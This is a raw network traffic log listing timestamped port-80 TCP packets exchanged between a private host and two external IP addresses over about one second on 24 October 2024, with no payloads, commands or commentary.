Oct 24, 2024 08:38:28.128319979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.128324986 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.128334999 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.128345013 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.128369093 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.128375053 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.169461012 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.169478893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.169492960 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.169565916 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.169591904 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.228460073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.228486061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.228526115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.228547096 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.231925011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.237185955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.246690989 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.246756077 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.246757984 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.246803045 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.246926069 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.246942997 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.246968031 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.246968031 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.246984005 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247004986 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247153044 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.247195005 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.247195959 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247216940 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.247230053 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247234106 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.247250080 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247250080 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.247271061 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.247287989 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.248500109 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.248516083 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.248532057 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.248553991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.248579979 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.288746119 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.288762093 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.288809061 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.288814068 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.288840055 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.288855076 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.288856983 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.288881063 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.288907051 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.365987062 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366024971 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366050959 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366075039 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366209984 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366259098 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366261959 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366276979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366308928 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366327047 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366439104 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366453886 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366468906 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366485119 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366502047 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366868019 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366883993 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366899014 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366915941 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.366915941 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366944075 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.366966963 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.367461920 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.367486000 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.367511034 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.367522001 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.408397913 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.408415079 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.408430099 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.408443928 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.408637047 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485285997 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485331059 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485357046 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485374928 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485472918 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485486031 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485516071 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485534906 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485563993 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485579967 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485595942 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485606909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485636950 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.485956907 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485972881 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.485990047 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.486006021 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.486006021 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.486032009 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.486056089 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.486545086 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.486562014 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.486579895 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.486589909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.486607075 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.486624002 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.508177996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508192062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508213997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508229017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508244038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508260012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508291006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.508316040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.508316040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.508744001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508759975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.508800983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.508827925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.510076046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.515352964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.527400017 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.527426004 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.527447939 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.527463913 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.527479887 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.527481079 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.527646065 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.527646065 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604590893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604607105 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604655981 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604671001 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604856968 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604871988 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604887009 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604902029 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604904890 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604918957 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604926109 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604935884 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.604959965 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.604975939 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.605624914 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.605669975 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.605673075 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.605710983 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.605822086 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.605838060 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.605851889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.605866909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.605880976 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.605899096 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.646779060 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.646800041 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.646825075 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.646841049 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.646857023 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.647053957 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.647085905 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.647099972 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.647165060 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.724097013 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724113941 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724128962 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724145889 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724322081 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.724322081 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.724800110 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724838018 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724859953 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724877119 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724893093 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.724993944 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.725001097 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.725035906 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.725037098 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.725079060 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.725220919 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.725235939 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.725251913 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.725265980 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.725287914 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.725301981 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.765984058 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766000032 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766015053 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766031027 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766047001 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766186953 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.766186953 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.766330957 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766354084 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.766376972 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.766407013 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.785712004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.785792112 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.807631969 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.807672977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:28.813122034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813246012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813258886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813297987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813349962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813402891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.813443899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.843465090 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843482018 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843497038 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843514919 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.843530893 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.843605042 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843621016 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843636036 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843646049 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.843655109 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843671083 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.843673944 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.843700886 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.843722105 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.844408989 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.844425917 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.844439983 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.844454050 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.844461918 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.844470978 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.844484091 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.844510078 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.885437965 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.885457039 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.885473013 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.885490894 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.885499954 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.885521889 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.885552883 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.926115036 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.926151037 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.926167011 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.926207066 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.926213026 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.926220894 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.926244974 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.926264048 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.962630033 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.962650061 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.962666035 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.962718964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.962728024 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.962743998 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.962759018 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.962785959 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963100910 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963118076 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963133097 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963148117 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963152885 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963181019 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963203907 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963702917 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963717937 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963735104 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963749886 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963769913 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963774920 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963793993 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.963812113 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.963835955 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.004594088 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004622936 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004637003 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004647970 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.004673004 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.004807949 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004823923 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004838943 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.004843950 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.004877090 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.045536041 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.045557022 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.045564890 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.045666933 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.045692921 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082010984 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082043886 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082062006 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082186937 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082186937 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082206964 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082221985 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082245111 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082247972 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082259893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082276106 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082277060 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082298040 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082323074 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082932949 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.082977057 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.082986116 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.083002090 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.083019972 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.083024979 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.083044052 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.083049059 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.083062887 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.083084106 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.124046087 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124073982 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124089003 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124105930 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124108076 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.124130964 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.124134064 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124165058 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.124325037 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.124325991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.124325991 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.164735079 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.164761066 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.164777994 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.164937973 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.164937973 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.201286077 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201339006 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201370001 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201406002 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201438904 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201503992 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.201503992 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:29.201787949 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:29.201823950 CEST	80	61015	185.215.113.16	192.168.2.5
